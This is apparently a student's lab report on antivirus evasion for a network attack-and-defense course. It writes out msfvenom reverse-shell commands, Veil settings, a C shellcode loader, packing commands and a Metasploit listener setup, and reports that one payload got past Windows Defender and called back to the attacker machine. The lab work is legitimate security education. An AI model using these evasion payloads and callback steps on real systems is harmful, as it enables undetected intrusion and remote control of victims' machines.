20242319 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242319 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1. 基础知识
本次实验主要涉及以下几个核心工具与免杀技术原理:
msfvenom 编码与格式伪装: msfvenom 是 Metasploit 框架自带的载荷生成器。它能够将底层的恶意 Shellcode 包装成各种平台的可执行文件(如 exe、jar、php 等)。同时,它支持通过 shikata_ga_nai 等编码器对原始字节进行多次异或变形,试图破坏静态特征码;通过生成非 PE 文件(如脚本语言格式),利用杀软对非可执行文件的解析弱点。
Veil-Evasion 框架: 一款专门用于生成免杀载荷的自动化工具。它内置了多种复杂的混淆机制和加载技术(例如利用 Python、C 结合 PowerShell 调用等),不仅修改了原始代码的字节特征,还隐藏了程序的执行流,以此绕过传统杀软。
C + Shellcode 分离免杀: 免杀的核心思路之一是不使用 msfvenom 直接生成的完整木马,而是仅提取纯 Shellcode(无文件头的机器码),然后用自己编写的 C 语言程序(Loader)去加载它。加载器通常利用 Windows API:VirtualAlloc 申请一块可执行内存、memcpy 复制代码、CreateThread 创建新线程执行。这种方式能有效破坏默认的 PE 文件结构特征。
加壳技术:
UPX(压缩壳):将 PE 文件进行压缩,并在程序运行时于内存中解压。它可以改变原文件的大小和部分特征码。
Hyperion(加密壳):对可执行文件进行运行时加密,程序运行前先解密。目的是隐藏原始代码,对抗静态引擎的解码分析。
2. 实验内容
- 使用 msfvenom 生成不同格式和编码的载荷,并对比其检出率。
- 使用 Veil-Evasion 框架生成免杀载荷。
- 编写 C 语言加载器,结合 Shellcode 进行编译免杀。
- 使用 UPX 和 Hyperion 对程序进行加壳处理,观察加壳对检出率的影响。
- 在开启 Windows Defender 的靶机上,测试载荷的存活率与回连成功率。
3. 实验过程
3.1 使用 msfvenom 生成不同格式与编码的载荷
首先使用 msfvenom 生成最基础的 Meterpreter 反向 TCP 载荷,然后分别进行 1 次和 10 次 shikata_ga_nai 编码,并生成 jar、php、py 等其他格式,上传至 VirusTotal (VT) 查看检出率。
- 基础裸 exe 载荷 (
20242319_base.exe):检出率极高(52/71)。
![alt text]()
- 编码 1 次 exe (
20242319_encoded1.exe):检出率 49/71。
![alt text]()
- 编码 10 次 exe (
20242319_encoded10.exe):检出率 50/71。
![alt text]()
- Java JAR 载荷 (
20242319_backdoor.jar):检出率显著下降(36/64)。
![alt text]()
- 编码 10 次 JAR (
20242319_backdoor_enc10.jar):检出率 37/64。
![alt text]()
- PHP 文本载荷 (
20242319_backdoor.php):检出率更低(28/61)。
![alt text]()
- Python 文本载荷 (
20242319_backdoor.py):检出率最低(24/61)。
![alt text]()
3.2 使用 Veil-Evasion 生成载荷
在配置好 Veil 环境后,进入交互界面,选择 c/meterpreter/rev_tcp 载荷。
执行配置命令:
set LHOST 192.168.236.130
set LPORT 2319
generate
生成名为 20242319_veil.exe 的文件。


上传 VT 检测,检出率为 37/71,相比裸 exe 有明显下降。

3.3 使用 C + Shellcode 编程免杀
首先提取纯 Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.130 LPORT=2319 -f c
编写 20242319_shellcode.c 加载器代码,完整代码如下:
#include <windows.h>
#include <stdio.h>
// 粘贴 msfvenom 生成的 shellcode 字节码
unsigned char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60..."; // 此处省略冗长字节码
int main(void) {
// 1. 分配一块可读、可写、可执行的内存
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (mem == NULL) return 1;
// 2. 将 shellcode 复制到这块内存中
memcpy(mem, shellcode, sizeof(shellcode));
// 3. 创建线程执行
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
if (hThread == NULL) return 1;
WaitForSingleObject(hThread, INFINITE);
return 0;
}
使用 mingw 编译生成 exe:
i686-w64-mingw32-gcc 20242319_shellcode.c -o 20242319_shellcode.exe

上传 VT 检测,检出率为 25/71,实现了较好的静态免杀。

3.4 加壳测试 (UPX & Hyperion)
UPX 压缩壳:
upx 20242319_shellcode.exe -o 20242319_shellcode_upx.exe

上传 VT 检测,检出率不降反升至 31/71。

Hyperion 加密壳:
sudo wine hyperion.exe -v 20242319_shellcode.exe 20242319_shellcode_hyp.exe

上传 VT 检测,检出率飙升至 51/71。

3.5 组合应用与杀软共生验证 (回连)
在 Kali 上开启 Metasploit 监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.236.130
set LPORT 2319
set ExitOnSession false
exploit -j

靶机环境:Windows 10 (计算机名:WXY-WIN10)。Defender 实时保护开启。
Get-MpComputerStatus | Select-Object AMProductVersion, AntivirusSignatureVersion, RealTimeProtectionEnabled

测试结果:
- 传入
20242319_shellcode.exe时,被 Windows Defender 秒杀隔离(报毒名:Trojan:Win32/Meterpreter.RPZ!MTB)。
![alt text]()
- 传入
20242319_veil.exe时,文件成功落地。
![alt text]()
- 双击运行
20242319_veil.exe,Kali 成功接收到反弹回连 Session,并执行了sysinfo查看系统信息。
![alt text]()
4. 问题及解决方案
- 问题1:Veil 安装脚本卡住,提示
wine32 is missing并且出现WINEARCH is set to 'win32' but this is not supported in wow64 mode。 - 问题1解决方案:新版 Kali 的 Wine 不再支持纯 32 位环境。通过设置环境变量
WINEARCH=wow64重新运行配置脚本,并修复了本地 apt 源,成功装上了 Veil。 - 问题2:Hyperion 加壳时报错
Could not open .../infile_size.inc。 - 问题2解决方案:报错原因是当前用户权限不足,无法在
/usr/share目录下写入临时文件。在运行wine hyperion.exe时前面加上sudo提权即可成功生成。 - 问题3:自己编写的
C+Shellcode程序在 VT 上检出率很低,但传到靶机后仍被 Defender 秒删。 - 问题3解决方案:分析发现,虽然我们改了文件特征码,但
VirtualAlloc+CreateThread这种经典的内存执行 API 组合触发了 Defender 的启发式查杀。后来改用 Veil 混淆生成的 exe 成功绕过。
5. 学习感悟、思考等
这次免杀实验的过程可以说是一波三折,让我对杀毒软件的检测机制有了完全不一样的认知。
在做实验之前,我以为免杀主要是想办法修改文件里的恶意代码特征,只要文件里没有明显的病毒特征码,杀软就发现不了。但实验里的实际结果并不是这样。我用 msfvenom 生成基础 exe 时,VirusTotal 上有一大半引擎报毒,这在我的意料之中。但后来我用 UPX 和 Hyperion 加壳时,本以为能降低检出率,结果发现检出率反而升高了。这让我意识到,像 UPX 这种公开的加壳工具,早就被杀毒软件加入了特殊关注名单,加壳不但没能隐藏自己,反而像是在向杀软主动暴露。
最让我觉得受挫的是 C + Shellcode 编程那一步。为了写这个加载器,我专门去查了 Windows 的内存分配和线程执行 API,用 VirtualAlloc 分配可执行内存,再用 CreateThread 去运行。在 VirusTotal 上静态查杀确实降到了 25/71,当时我还挺高兴的,以为成功了。结果把文件拖进开启 Defender 的 Windows 靶机时,文件刚落地就被秒杀隔离了。我仔细看了报错信息,它被识别成了 Trojan:Win32/Meterpreter.RPZ!MTB。这说明现在的杀软根本不需要认识具体的病毒代码,只要看到这种经典的内存分配加执行逻辑,就会判定为恶意程序。光靠改静态特征,在如今的启发式查杀面前已经很难走通了。
最后,反而是我用 Veil 框架生成的 20242319_veil.exe 成功活了下来。双击运行后,Kali 这边的 msfconsole 顺利弹出了 session。那一刻确实很有成就感,但也让我真切感受到免杀技术的门槛。杀软厂商会在云端不断更新规则,静态查杀和动态沙箱分析越来越成熟,我们实验里用到的那些默认配置的 msfvenom 和加壳工具,基本都已经过时了。
除了技术上的反思,实验过程中遇到的环境问题也让我印象深刻。搭建 Veil 环境花了不少时间,一开始遇到 Podman 的拉取报错,后来又卡在 wine32 安装失败导致脚本卡死。最后通过调整源、加上 WINEARCH=wow64 才勉强跑通。用 Hyperion 加壳时也碰到了权限不足的报错,加上 sudo 才解决。这些实际的踩坑经历比单纯看指导书要深刻得多,也让我认识到,搞安全不仅需要理论知识,还得有很强的解决环境问题的能力。
6. 回答问题
(1)杀软是如何检测出恶意代码的?
杀毒软件通常通过静态特征码比对、静态启发式分析(如检测敏感的 API 组合)、动态行为监控(如在沙箱中运行观察其网络连接和注册表修改)以及云查杀来识别恶意代码。
(2)免杀是做什么?
免杀(Anti-Virus Evasion)是指通过修改恶意代码的静态特征、改变文件结构或混淆执行流程,使其在目标机器上能够绕过杀毒软件的查杀和拦截,从而成功执行并回连。
(3)免杀的基本方法有哪些?
主要方法包括:特征码修改(如 msfvenom 编码)、更改载荷文件格式(生成 jar/php/py)、编写自定义加载器(分离免杀)、使用免杀框架(如 Veil-Evasion)以及加壳(如 UPX、Hyperion)。









